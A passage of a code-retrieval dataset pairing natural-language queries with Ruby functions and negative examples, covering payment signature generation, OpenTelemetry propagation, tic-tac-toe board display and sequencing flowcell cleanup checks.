"def argumentReader \n\t\tif @argument[0].to_s == \"\" \n\t\t\tshow\n\t\telsif @argument[0] == \"add\" and @argument[1].to_s != \"\"\n\t\t\tadd(@argument[1])\n\t\telsif @argument[0] == \"rm\" and @argument[1].to_i > 0\n\t\t\trm(@argument[1])\n\t\telsif @argument[0] == (\"help\")\n\t\t\thelp\n\t\telse\n\t\t\tputs \"error: (invalid argument)\\nenter 'help' for a list of valid arguments\"\n\t\tend\n\t\t\n\tend",
"def argument_type\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 61 )\n return_value = ArgumentTypeReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n argument_type_start_index = @input.index\n\n root_0 = nil\n type_spec501 = nil\n\n\n success = false # flag used for memoization\n\n begin\n # rule memoization\n if @state.backtracking > 0 and already_parsed_rule?( __method__ )\n success = true\n return return_value\n end\n root_0 = @adaptor.create_flat_list\n\n\n # at line 436:4: type_spec\n @state.following.push( TOKENS_FOLLOWING_type_spec_IN_argument_type_2867 )\n type_spec501 = type_spec\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, type_spec501.tree )\n end\n # - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end\n success = true\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 61 )\n memoize( __method__, argument_type_start_index, success ) if @state.backtracking > 0\n\n end\n \n return return_value\n end",
"def match_argument_id(identifier)\n matched = identifier.to_s.match(/option_([0-9]+)/)\n (matched ? matched[1].to_i - 1 : nil)\n end",
"def argument?(input)\n !(input =~ /^--?/).nil?\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
Generate the required signature as specified by unionpay official document it returns the signature string
|
def generate_signature
sha1x16 = Digest::SHA1.hexdigest(signed_string)
.tap { |s| logger.debug "sha1x16 #{s}" }
enc = case form_fields['signMethod']
when '01' # 01 means RSA
merchant_private_key.sign(OpenSSL::Digest::SHA1.new, sha1x16)
.tap { |s| logger.debug "enc #{s}" }
else # at current time (2015-05-25) no other signing method is mentioned in Unionpay's official docs
raise "sign method #{form_fields['signMethod']} is not implemented yet."
end
Base64.strict_encode64(enc) # has to be strict_encode64, not encode64, as the latter as an extra '\n'
.tap { |s| logger.debug "final: #{s}" }
end
|
[
"def signature_string\n @signature_string\n end",
"def calculate_signature_string(parameters)\n merchant_sig_string = \"\"\n merchant_sig_string << parameters[:payment_amount].to_s << parameters[:currency_code].to_s <<\n parameters[:ship_before_date].to_s << parameters[:merchant_reference].to_s <<\n parameters[:skin_code].to_s << parameters[:merchant_account].to_s <<\n parameters[:session_validity].to_s << parameters[:shopper_email].to_s <<\n parameters[:shopper_reference].to_s << parameters[:recurring_contract].to_s <<\n parameters[:allowed_methods].to_s << parameters[:blocked_methods].to_s <<\n parameters[:shopper_statement].to_s << parameters[:merchant_return_data].to_s <<\n parameters[:billing_address_type].to_s << parameters[:offset].to_s\n end",
"def generate_signature(string_to_sign)\n digest = OpenSSL::Digest.new('sha256')\n OpenSSL::HMAC.hexdigest(digest, @api_secret, string_to_sign)\n end",
"def signature\n k_date = Digestor.hmac(\"AWS4\" + secret_key, date[0, 8])\n k_region = Digestor.hmac(k_date, region)\n k_service = Digestor.hmac(k_region, service)\n k_credentials = Digestor.hmac(k_service, \"aws4_request\")\n Digestor.hexhmac(k_credentials, string_to_sign)\n end",
"def signature\n @signature ||= Base64.encode64(\n OpenSSL::HMAC.digest(\n OpenSSL::Digest::Digest.new('sha1'),\n secret_key, policy\n )\n ).gsub(\"\\n\", \"\")\n end",
"def generate_signature(timestamp = Time.now.to_s)\n hmac = OpenSSL::HMAC.new(@api_key, 'sha256')\n hmac.update(timestamp.to_s)\n hmac.update(@partner_id)\n hmac.update('sid_request')\n @signature = Base64.strict_encode64(hmac.digest)\n {\n signature: @signature,\n timestamp: timestamp.to_s\n }\n end",
"def request_signature; end",
"def generate_signature( url, params = nil, payload = nil )\n signature = url\n signature += flatten_params( params ) if params\n signature += flatten_params( payload ) if payload \n signature += @app_secret\n\n $log.debug(sprintf \"signature = %s\", signature )\n\n Digest::SHA256.hexdigest(signature)\n end",
"def redirect_signature_string(params)\n params[:authResult].to_s + params[:pspReference].to_s + params[:merchantReference].to_s + \n params[:skinCode].to_s + params[:merchantReturnData].to_s\n end",
"def upload_signature\n\n upload_sign =\n Base64.encode64(\n OpenSSL::HMAC.digest(\n OpenSSL::Digest::SHA1.new,\n Config.secret_access_key,\n policy_document\n )\n ).gsub(/\\n/, '')\n end",
"def generateSignature\n @timestamp ||= self.generateTimestamps\n @signature = Digest::MD5.hexdigest(@timestamp + Digest::MD5.hexdigest(@data + @appKey).downcase + @secretKey).downcase\n end",
"def signature\n # Remove 'sha_sign' key from request params and concatenate all\n # key value pairs\n params = payload.to_h\n .reject { |key, value| key == :sha_sign }\n .reject { |key, value| value == '' || value == false }.sort\n .map { | key, value| \"#{key}=#{value}#{passphrase}\" }.join\n\n # Calculate SHA512 and upcase all letters, since Digistore will\n # also return upcased letters in the signature.\n Digest::SHA512.hexdigest(params).upcase\n end",
"def make_sign\n\t\t\t#warn 'TODO: Add signature to fields'\n return '' if self.fields.blank?\n _sorted = Hash.send :[], self.fields.select{ |key,val| val.present? && key != 'sign_type' && key != 'sign' }.sort_by{ |key,val| key }\n\n unsign = _sorted.collect{ |key,val| \"#{key}=#{val}\" }.join(\"&\") + self.private_key\n Digest::MD5.hexdigest(unsign)\n\t\tend",
"def aws_v4_signature\n date = OpenSSL::HMAC.digest('sha256', 'AWS4' + @secret_key, @timestamp.strftime('%Y%m%d'))\n region = OpenSSL::HMAC.digest('sha256', date, @region)\n service = OpenSSL::HMAC.digest('sha256', region, SERVICE_NAME)\n signing_key = OpenSSL::HMAC.digest('sha256', service, 'aws4_request')\n\n OpenSSL::HMAC.hexdigest('sha256', signing_key, string_to_sign)\n end",
"def aws_v4_signature\n date = OpenSSL::HMAC.digest('sha256', 'AWS4' + @secret_key, @timestamp.strftime('%Y%m%d'))\n region = OpenSSL::HMAC.digest('sha256', date, @aws_session.region)\n service = OpenSSL::HMAC.digest('sha256', region, SERVICE_NAME)\n signing_key = OpenSSL::HMAC.digest('sha256', service, 'aws4_request')\n\n OpenSSL::HMAC.hexdigest('sha256', signing_key, string_to_sign)\n end",
"def get_signature_string(params, secret)\n return secret + extract_param_values(params).sort.join(\"\")\n end",
"def generate_request_signature(components)\n string_to_sign = components.join(\"\\n\")\n\n digest = OpenSSL::Digest.new('sha1')\n Base64.encode64(OpenSSL::HMAC.digest(digest, @configuration.secret_key, string_to_sign))\n end",
"def upload_signature\n @upload_signature ||=\n Base64.encode64(\n OpenSSL::HMAC.digest(\n OpenSSL::Digest::SHA1.new,\n options[:secret_access_key],\n self.policy_document\n )\n ).gsub(/\\n/, '')\n end",
"def generate_signature(string)\n OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA256.new, secret_key, string)\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
Generate the string to sign on from all in from_fields. Currently Unionpay doc specifies that the fields are arranged alphabetically
|
def signed_string
signed_data_only = form_fields.reject { |s| FIELDS_NOT_TO_BE_SIGNED.include?(s) }
signed_data_only.sort.collect { |s| "#{s[0]}=#{s[1]}" }.join('&')
.tap { |ss| logger.debug "signed string is #{ss}" }
end
|
[
"def signed_field_names\n @signed_fields.join(',')\n end",
"def make_sign\n\t\t\t#warn 'TODO: Add signature to fields'\n return '' if self.fields.blank?\n _sorted = Hash.send :[], self.fields.select{ |key,val| val.present? && key != 'sign_type' && key != 'sign' }.sort_by{ |key,val| key }\n\n unsign = _sorted.collect{ |key,val| \"#{key}=#{val}\" }.join(\"&\") + self.private_key\n Digest::MD5.hexdigest(unsign)\n\t\tend",
"def build_order_string(fields, mode=\"ASC\")\n fields.collect{ |f| \"#{self.table_name}.#{f}\" }.join(\",\") + \" \" + mode\n end",
"def build_keys(uids)\n if uids.is_a?(Numeric)\n \"UID #{uids}\"\n elsif uids.is_a?(Array)\n \"UID #{uids.join(',')}\"\n elsif uids.is_a?(Range)\n \"UID #{Array(uids).join(',')}\"\n elsif uids.is_a?(Hash)\n \"UID #{uids[:from] ? uids[:from] : 1}:#{uids[:to] ? uids[:to] : '*'}\"\n elsif uids.is_a?(String)\n uids.downcase == 'all' ? 'ALL' : \"UID #{uids}\"\n elsif uids.is_a?(Symbol)\n uids.to_s.downcase == 'all' ? 'ALL' : ''\n else\n \"\"\n end\n end",
"def format_field_signature(field)\n field_alias = field.__alias ? \"#{field.__alias}: \" : ''\n field_name = field.__name.to_s\n field_arguments = field.__arguments.empty? ? '' : format_arguments(field.__arguments, false)\n field_directives = field.__directives.empty? ? '' : \" #{format_directives(field.__directives, false)}\"\n\n [\n field_alias,\n field_name,\n field_arguments,\n field_directives,\n ].join\n end",
"def from_name\n from.to_sym\n end",
"def get_from_exp\n\n return nil if self.from_address.nil?\n\n from_exp = \"<#{self.from_address}>\"\n\n unless self.from_name.nil? or self.from_name.empty?\n from_exp = \"#{self.from_name} #{from_exp}\"\n end\n\n return from_exp\n end",
"def string_field_names\n # database_field_names.join(', ')\n database_field_names.to_s[1...-1]\n end",
"def from_names\n case\n when @from && !@from_role # @from is an objectified fact type so @from_role is a phantom\n @from.name.camelwords\n when is_unary\n if @from && @from.fact_type\n @from.name.camelwords\n else\n @from_role.fact_type.preferred_reading.text.gsub(/\\{[0-9]\\}/,'').strip.camelwords\n end\n when !@from_role # Self-value role of an independent ValueType\n @from.name.camelwords + [\"Value\"]\n when @from_role.role_name # Named role\n @from_role.role_name.camelwords\n else # Use the name from the preferred reading\n role_ref = @from_role.preferred_reference\n [role_ref.leading_adjective, @from_role.object_type.name, role_ref.trailing_adjective].compact.map{|w| w.camelwords}.flatten.reject{|s| s == ''}\n end\n end",
"def string_to_sign\n [\n SIGNV4ALGO,\n date,\n credential_scope,\n Digestor.hexdigest(canonical_request)\n ].join(\"\\n\")\n end",
"def form_attributes\n full_parameters.each_with_object({ \"SHASIGN\" => signature }) do |(k, v), attributes|\n attributes[k.to_s.upcase] = v.to_s if v.to_s.length > 0\n end\n end",
"def form_fields\n @fields.merge(\"AUTHCODE\" => generate_md5string)\n end",
"def signed_fields; end",
"def create_string_of_field_names_and_types(field_names_and_types)\n field_names_and_types.each do |array|\n array[1] = array[1].upcase + \",\"\n end\n field_names_and_types.last[1] = field_names_and_types.last[1].remove(/,/)\n if !field_names_and_types.first[1].include?(\"PRIMARY KEY\")\n field_names_and_types.first[1] = field_names_and_types.first[1].remove(/,/) + \" PRIMARY KEY,\"\n end\n field_names_and_types.join(\" \")\n end",
"def form_fields\n @fields.merge(\"MAC\" => generate_md5string)\n end",
"def flatten_fields(fields)\n res = ''\n fields.each do |k, v|\n res << %(#{k}=\"#{v}\" )\n end\n\n res.chop\n end",
"def form_fields\n @fields.merge(\"AUTHCODE\" => generate_md5string)\n end",
"def field_names\n @field_names.join(',')\n end",
"def fields_to_head\n @fields_to_head ||= %w{id name login value}\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
Inject inprocess correlations into the supplied carrier.
|
def inject(carrier, context, &setter)
return carrier unless (correlations = context[ContextKeys.correlation_context_key]) && !correlations.empty?
setter ||= default_setter
setter.call(carrier, @correlation_context_key, encode(correlations))
carrier
end
|
[
"def inject(carrier, context = Context.current, &setter)\n @injectors.inject(carrier) do |memo, injector|\n injector.inject(memo, context, &setter)\n rescue => e # rubocop:disable Style/RescueStandardError\n OpenTelemetry.logger.warn \"Error in CompositePropagator#inject #{e.message}\"\n carrier\n end\n end",
"def inject(carrier, context: Context.current, setter: Context::Propagation.text_map_setter)\n @injectors.inject(carrier) do |memo, injector|\n begin\n\n injector.inject(memo, context, setter)\n rescue => e # rubocop:disable Style/RescueStandardError\n OpenTelemetry.logger.warn \"Error in CompositePropagator#inject #{e.message}\"\n carrier\n end\n end\n end",
"def inject(carrier, context = Context.current, &setter)\n @injector.inject(carrier, context, &setter)\n rescue => e # rubocop:disable Style/RescueStandardError\n OpenTelemetry.logger.warn \"Error in Propagator#inject #{e.message}\"\n carrier\n end",
"def inject(carrier, context: Context.current, http_injectors: self.http_injectors)\n http_injectors.inject(carrier) do |memo, injector|\n injector.inject(context, memo)\n end\n end",
"def inject(carrier, context, &setter)\n span_context = Trace.current_span(context).context\n return unless span_context.valid?\n\n setter ||= default_setter\n setter.call(carrier, @b3_trace_id_key, span_context.hex_trace_id)\n setter.call(carrier, @b3_span_id_key, span_context.hex_span_id)\n\n if B3.debug?(context)\n setter.call(carrier, @b3_flags_key, '1')\n elsif span_context.trace_flags.sampled?\n setter.call(carrier, @b3_sampled_key, '1')\n else\n setter.call(carrier, @b3_sampled_key, '0')\n end\n\n carrier\n end",
"def inject(carrier, context, setter = nil)\n span_context = Trace.current_span(context).context\n return unless span_context.valid?\n\n flags = to_flags(context, span_context)\n trace_span_identity_value = [\n span_context.hex_trace_id, span_context.hex_span_id, '0', flags\n ].join(':')\n setter ||= @default_setter\n setter.set(carrier, IDENTITY_KEY, trace_span_identity_value)\n OpenTelemetry.baggage.values(context: context).each do |key, value|\n baggage_key = 'uberctx-' + key\n encoded_value = CGI.escape(value)\n setter.set(carrier, baggage_key, encoded_value)\n end\n carrier\n end",
"def assign_carrier(carrier)\n specified_carrier = self.class.reflections[:carrier].klass.carrier_by_value(carrier)\n self.carrier = specified_carrier if specified_carrier\n end",
"def inject(carrier, context: Context.current, setter: Context::Propagation.text_map_setter)\n span_context = Trace.current_span(context).context\n return unless span_context.valid?\n\n sampling_state = if XRay.debug?(context)\n 'd'\n elsif span_context.trace_flags.sampled?\n '1'\n else\n '0'\n end\n\n ot_trace_id = span_context.hex_trace_id\n xray_trace_id = \"1-#{ot_trace_id[0..7]}-#{ot_trace_id[8..ot_trace_id.length]}\"\n parent_id = span_context.hex_span_id\n\n xray_value = \"Root=#{xray_trace_id};Parent=#{parent_id};Sampled=#{sampling_state}\"\n\n setter.set(carrier, XRAY_CONTEXT_KEY, xray_value)\n nil\n end",
"def inject(carrier, context, setter = nil)\n return carrier unless (baggage = context[ContextKeys.baggage_key]) && !baggage.empty?\n\n setter ||= @default_setter\n setter.set(carrier, BAGGAGE_KEY, encode(baggage))\n\n carrier\n end",
"def inject(carrier, context: Context.current, setter: Context::Propagation.text_map_setter)\n baggage = OpenTelemetry::Baggage.raw_entries(context: context)\n\n return if baggage.nil? || baggage.empty?\n\n encoded_baggage = encode(baggage)\n setter.set(carrier, BAGGAGE_KEY, encoded_baggage) unless encoded_baggage&.empty?\n nil\n end",
"def extract(carrier, context: Context.current, getter: Context::Propagation.text_map_getter)\n extractors = @extractors || @propagators\n extractors.inject(context) do |ctx, extractor|\n extractor.extract(carrier, context: ctx, getter: getter)\n rescue StandardError => e\n OpenTelemetry.logger.warn \"Error in CompositePropagator#extract #{e.message}\"\n ctx\n end\n end",
"def carrier=(carrier)\n @carrier = carrier && carrier.to_sym\n end",
"def inject(span_context, format, carrier)\n @propagator.inject(span_context, format, carrier)\n end",
"def carrier=(carrier)\n @carrier = carrier&.to_sym\n end",
"def called!(interactor)\n _called << interactor\n end",
"def inject_input_curves!\n inject_input_curve(input_carrier)\n end",
"def inject_input_curve(carrier)\n curve_name = \"#{carrier}_input_curve\"\n\n return unless @node.respond_to?(curve_name)\n\n inject_curve!(full_name: curve_name) do\n Array.new(8760, &demand_callable_for_carrier(carrier))\n end\n end",
"def extract(carrier, context, &getter)\n getter ||= default_getter\n\n trace_id_hex = getter.call(carrier, @b3_trace_id_key)\n return context unless valid_trace_id?(trace_id_hex)\n\n span_id_hex = getter.call(carrier, @b3_span_id_key)\n return context unless valid_span_id?(span_id_hex)\n\n sampled = getter.call(carrier, @b3_sampled_key)\n flags = getter.call(carrier, @b3_flags_key)\n\n context = B3.context_with_debug(context) if flags == DEBUG_FLAG\n\n span_context = Trace::SpanContext.new(\n trace_id: B3.to_trace_id(trace_id_hex),\n span_id: B3.to_span_id(span_id_hex),\n trace_flags: to_trace_flags(sampled, flags),\n remote: true\n )\n\n span = Trace::Span.new(span_context: span_context)\n Trace.context_with_span(span, parent_context: context)\n rescue OpenTelemetry::Error\n context\n end",
"def carrier(key)\n @carriers[key] ||= Qernel::Carrier.new(key: key).with({})\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
Returns true if the target_modules == :all, or contains the module_name in the collection.
|
def can_use(module_name)
target_is_all? or target_includes? module_name
end
|
[
"def includes_modules?\n @includes_modules\n end",
"def has_modules?\n m = @context.modules.find{|m| m.document_self}\n m ? true : false\n end",
"def has_all?\n @privileges.fetch(@target) == :all\n end",
"def modules?\n name == Modules\n end",
"def active?(submodule_name)\n active.select { |s| s[:name].to_s == submodule_name.to_s }.any?\n end",
"def is_condition_target_all?\n return (self.condition_target == CONDITION_TARGET_ALL)\n end",
"def include_target? exp, target\n return false unless call? exp\n\n exp.each do |e|\n return true if e == target or include_target? e, target\n end\n\n false\n end",
"def has_target?(target)\n\t\t@list.include?(target)\n\tend",
"def all?\n @modifier == :all\n end",
"def is_module_allowed?(module_name)\n ALLOWED_MODULES.include? module_name.to_sym\n end",
"def has_classes_or_modules?\n has_classes? || has_modules?\n end",
"def satisfied_by?(puppetfile)\n @specs.all? do |spec|\n puppetfile.modules.any? do |mod|\n spec.satisfied_by?(mod)\n end\n end\n end",
"def include?(arg)\n arg.is_a?(Module) ? !!included_modules.detect{ |m| m === arg } : store.include?(arg)\n end",
"def any_for_target?(target)\n current_user.todos.any_for_target?(target)\n end",
"def module?(uri)\n uri.include?('/modules/')\n end",
"def is_known\n TargetsXML.has_target(@name)\n end",
"def enabled?\n any?(&:enabled?)\n end",
"def instantiates?(module_or_name)\n name = module_or_name.respond_to?(:to_a) ? module_or_name.to_a[0] : module_or_name\n instantiations = find_all(:module_instantiation)\n if instantiations.empty?\n false\n else\n instantiations.any? { |i| i.to_a[0].to_s == name.to_s }\n end\n end",
"def enabled?(name)\n ALL.include?(name) || components.include?(name)\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
display_board Should accept a board as an argument and print out the current state of the board for the user.
|
def display_board(board)
puts " #{board[0]} | #{board[1]} | #{board[2]} "
puts "-----------"
puts " #{board[3]} | #{board[4]} | #{board[5]} "
puts "-----------"
puts " #{board[6]} | #{board[7]} | #{board[8]} "
end
|
[
"def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"def display_board\n\t\t@board_state.each_with_index do |val, index|\n\t\t\tif [0,3,6].include?(index) \n\t\t\t\tprint @board_state[index] + ' | ' \n\t\t\tend\n\t\t\tif [1,4,7].include?(index)\n\t\t\t\tprint @board_state[index] + ' | '\n\t\t\tend\n\t\t\tif [2,5,8].include?(index)\n\t\t\t\tprint @board_state[index] + \"\\n\"\t\t\t\t\n\t\t\tend\n\t\t\tif [2,5].include?(index)\n\t\t\t\tputs '----------'\n\t\t\tend\n\t\tend\t\t\n\tend",
"def board_display\n puts @board\n end",
"def display_board\n\t board =\" | | \\n-----------\\n | | \\n-----------\\n | | \"\n\t puts board\n\tend",
"def display_board\n puts ' '\n puts \"--------------READY FOR THIS AWESOME GAME ?--------------\"\n puts ' '\n puts \" RULES : pick a number and start to play !\"\n puts ' '\n puts @board.game_board(@board.legend_values)\n puts ' '\n puts \"Let's start !\"\n puts @board.game_board(@board.board_values)\n puts ' '\n end",
"def display_board\n puts \"#{@board[0].value} | #{@board[1].value} | #{@board[2].value}\"\n puts \"-\"*10\n puts \"#{@board[3].value} | #{@board[4].value} | #{@board[5].value}\"\n puts \"-\"*10\n puts \"#{@board[6].value} | #{@board[7].value} | #{@board[8].value}\"\n end",
"def show_board\n\t\tputs \n\t\tputs \"-------------------\"\n\t\tputs \"Board so far: \"\n\t\t# Go through each guess and answers and display them\n\t\t@board.each_with_index { |guess, i| puts \"#{guess.join} #{@evaluate[i]}\" }\n\t\tputs \"-------------------\"\n\tend",
"def display_board\n puts \" #{@letter[0]} | #{@letter[1]} | #{@letter[2]} \"\n puts \" -------------\"\n puts \" #{@number[0]}| #{@board_array[0]} | #{@board_array[1]} | #{@board_array[2]} |\"\n puts \" |-----------|\"\n puts \" #{@number[1]}| #{@board_array[3]} | #{@board_array[4]} | #{@board_array[5]} |\"\n puts \" |-----------|\"\n puts \" #{@number[2]}| #{@board_array[6]} | #{@board_array[7]} | #{@board_array[8]} |\"\n puts \" ------------\"\n end",
"def print_board(board)\n puts \"PRINTING BOARD- START\\n\\n\"\n\n if (board == false)\n #\tputs \"INVALID SUDOKU BOARD... check input\"\n\t return\n end\n\n for x in 0..board.length-1\n \t\tfor y in 0..board.length-1\n print board[x][y] , \" | \"\n end\n puts\n end\n puts \"\\n\\nPRINTING BOARD END\"\n end",
"def display_board(choice)\n\n if choice == \"result\"\n puts \"Solution: \"\n puts \"#{@result['1']} | #{@result['2']} | #{@result['3']} | #{@result['4']}\"\n elsif choice == \"game\"\n puts \"Game in progress: \"\n puts \"#{@grid['1']} | #{@grid['2']} | #{@grid['3']} | #{@grid['4']}\"\n end\n end",
"def show_boards(cheat)\n puts ' human board'\n @human.board.display(true)\n puts ''\n puts ' comp board'\n @comp.board.display(cheat)\n \n end",
"def showboard(currentBoard)\n\t puts \"\"\n\t print \"********\"\n\t puts \"\"\n\t print \" \" + currentBoard[:a3] +\n\t \t \" \" + currentBoard[:b3] +\n\t \t \" \" + currentBoard[:c3]\n\t puts \"\"\n\t print \" \" + currentBoard[:a2] +\n\t \t \" \" + currentBoard[:b2] +\n\t \t \" \" + currentBoard[:c2]\n\t puts \"\"\n\t print \" \" + currentBoard[:a1] +\n\t \t \" \" + currentBoard[:b1] +\n\t \t \" \" + currentBoard[:c1]\n\t puts \"\"\n\t puts \"\"\n\t print \"********\"\n\t puts \"\"\n\tend",
"def print_board\n\t\tputs \"GAME BOARD AT TIME: #{@current_turn}\"\n\t\tprint full_game_board.map{|c| c.join(\"\")}.join(\"\\n\")\n\tend",
"def display_board\n @displayboard.each do |char| \n if !@excludeddisplay.include?(char)\n @display << \"-\"\n else\n @display << char\n end\n end\n @gameboard = @display.join\n if @gameboard == @currentpuzzle.downcase \n if @score > 0\n puts \"Congratulations!!! YOU WIN!!! Total Prize: $#{@score}\"\n else\n puts \"Your final total was $#{@score}... Oh well. Β―\\_(γ)_/Β― You tried.\"\n end\n end\n end",
"def render(board)\n puts \"\\nCurrent Board:\"\n (@disks - 1).downto(0) do |column|\n 3.times do |row|\n print (\"o\" * board[row][column].to_i).center((@disks*2) + 2)\n end\n print \"\\n\"\n end\n print \"-C1-\".center((@disks*2) + 2)\n print \"-C2-\".center((@disks*2) + 2)\n print \"-C3-\".center((@disks*2) + 2)\n print \"\\n\"\n end",
"def show_board\n @matrix.each do |row|\n print row.to_s\n print \"\\n\"\n end\n end",
"def display_board\n @@letter.each {|l, n| print \"#{l} \\t\"}\n print \"\\n\"\n @bingo_board.each do |ary|\n ary.each {|n| print \"#{n} \\t\"}\n print \"\\n\"\n end\n end",
"def printBoard\n\t\tputs \"\\n | | \"\n\t\tputs \" \" + @@board[1] + \" | \" + @@board[2] + \" | \" + @@board[3]\n\t\tputs \" | | \"\n\t\tputs \" -----+-----+-----\"\n\t\tputs \" | | \"\n\t\tputs \" \" + @@board[4] + \" | \" + @@board[5] + \" | \" + @@board[6]\n\t\tputs \" | | \"\n\t\tputs \" -----+-----+-----\"\n\t\tputs \" | | \"\n\t\tputs \" \" + @@board[7] + \" | \" + @@board[8] + \" | \" + @@board[9] + \"\\n\"\n\t\tputs \" | | \"\n\tend",
"def display_board\n cell = \" \"\n print cell+\"|\"+cell+\"|\"+cell+\"\\n-----------\\n\"+cell+\"|\"+cell+\"|\"+cell+\"\\n-----------\\n\"+cell+\"|\"+cell+\"|\"+cell+\"\\n\"\n\nend"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
A collection of Drip objects associated with a given `Caffeinate::Dripper`
|
def drips
drip_collection.values
end
|
[
"def trips\n Trip.find_for_rider(@rider_id)\n end",
"def trips\n Trip.find_for_driver(@driver_id)\n end",
"def trips\n arr = []\n Trips.all.each do |trip|\n if trip.listing == self\n arr << trip\n end\n end\n arr\n end",
"def get_trips #from trip object\n trips = RideShare::Trip.by_driver(@id)\n return trips\n end",
"def listings\n arr = []\n Trips.all.each do |trip|\n if trip.guest == self\n arr << trip.listing\n end\n end\n arr\n end",
"def hosts\n trips.collect { |trip| Listing.find(Reservation.find(trip.id).listing_id).host }.uniq\n end",
"def dids\n dids_list ? dids_list.collection : []\n end",
"def port_dids\n port_dids_list ? port_dids_list.collection : []\n end",
"def index\n @derps = Derp.all\n end",
"def create_trip_proxy(trip)\n\n # get the planned trip for this trip\n planned_trip = trip.planned_trips.first\n \n # initailize a trip proxy from this trip\n trip_proxy = TripProxy.new\n trip_proxy.traveler = @traveler\n trip_proxy.trip_purpose_id = trip.trip_purpose.id\n trip_proxy.arrive_depart = planned_trip.is_depart\n trip_proxy.trip_date = planned_trip.trip_datetime.strftime(TRIP_DATE_FORMAT_STRING)\n trip_proxy.trip_time = planned_trip.trip_datetime.strftime(TRIP_TIME_FORMAT_STRING)\n \n # Set the from place\n trip_proxy.from_place = trip.trip_places.first\n if trip.trip_places.first.poi\n trip_proxy.from_place_selected_type = POI_TYPE\n trip_proxy.from_place_selected = trip.trip_places.first.poi.id\n elsif trip.trip_places.first.place\n trip_proxy.from_place_selected_type = PLACES_TYPE\n trip_proxy.from_place_selected = trip.trip_places.first.place.id\n else\n trip_proxy.from_place_selected_type = RAW_ADDRESS_TYPE \n end\n\n # Set the to place\n trip_proxy.to_place = trip.trip_places.last\n if trip.trip_places.last.poi\n trip_proxy.to_place_selected_type = POI_TYPE\n trip_proxy.to_place_selected = trip.trip_places.last.poi.id\n elsif trip.trip_places.last.place\n trip_proxy.to_place_selected_type = PLACES_TYPE\n trip_proxy.to_place_selected = trip.trip_places.last.place.id\n else\n trip_proxy.to_place_selected_type = RAW_ADDRESS_TYPE \n end\n \n return trip_proxy\n \n end",
"def trips_with_distance\n DB[:intended_trips].select(:id, :from_name, :to_name,\n :from_lat, :from_lng,\n :to_lat, :to_lng,\n distance(:from).as(:fdist),\n distance(:to).as(:tdist)\n ).where(:deleted_at => nil)\n end",
"def rides_as_passenger\n ride_ids = self.relationships.select(:ride_id).where(is_driving: false).joins(:ride).where(\"rides.user_id <> ?\", self.id)\n if ride_ids.count > 0\n Ride.where(\"id in (?)\", ride_ids)\n else\n []\n end\n end",
"def index\n @dips = Dip.all\n end",
"def index\n @d_dungeoneers = DDungeoneer.includes(:c_class).all\n end",
"def deals\n Collection.new(self, Deal)\n end",
"def to_dripper\n Caffeinate.dripper_to_campaign_class[slug.to_sym].constantize\n end",
"def apartments\n apartments_result_set = @db.execute(SQL_SELECT_APARTMENTS_FROM_BUILDING,@id)\n apartments = []\n apartments_result_set.each do |apart|\n apartament = Apartment.new(apart[0], apart[1] , apart[2], apart[3] , @id, @db)\n apartments << apartament\n end\n apartments\n end",
"def trip_destinations_by_day(day)\n self.trip_destinations.where(day: day).collect do |t_d|\n t_d.destination\n end\n end",
"def passengers\n # paul.rides --> [PM, PM, PN]\n passengers_with_duplicates = self.rides.map do |ride|\n ride.passenger\n end\n # passengers_with_duplicates --> [M, M, N]\n passengers_with_duplicates.uniq # --> [M, N]\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
Method to determine if a flowcell can be cleaned or not. For a flowcell to be cleaned, all of the following conditions must be true : 1) Marker file ".rsync_finished" must be present 2) It must have been modified 20 days ago (i.e. 1728000 seconds earlier) 3) The flowcell must not have been cleaned earlier (i.e., it must have L001 through L008 directories in its Data/Intensities directory
|
def isAvailableForCleaning(fcName)
markerName = fcName + "/.rsync_finished"
if File::exist?(markerName)
modTime = File::mtime(markerName)
timeDiff = (Time.now- modTime)
intensityLaneDir = fcName + "/Data/Intensities/L00*"
intensityLaneDir = Dir[fcName + "/Data/Intensities/L00*"]
# If intensitiy directory has directories L001 through L008 and
# modification time of .rsync_finished is 20 days (i.e. 1728000 seconds)
# that flowcell is available for cleaning.
# Please note: To change the interval of when a flowcell becomes a
# candidate flowcell for cleaning, please change the number below.
if intensityLaneDir != nil && intensityLaneDir.length > 0 && (timeDiff > 1728000)
return true
end
end
return false
end
|
[
"def fcReady?(fcName)\n if File::exist?(@instrDir + \"/\" + fcName + \"/.rsync_finished\")\n return true\n end\n \n if fcName.match(/SN601/) || fcName.match(/SN166/) \n puts \"Flowcell \" + fcName + \" is not configured for automatic analysis\"\n return false\n end\n\n # If the marker file RTAComplete.txt was written more than 1 hour ago, then\n # add the new marked file and return.\n if File::exist?(@instrDir + \"/\" + fcName + \"/RTAComplete.txt\")\n cmd = \"touch \" + @instrDir + \"/\" + fcName + \"/.rsync_finished\"\n `#{cmd}`\n end\n return false\n end",
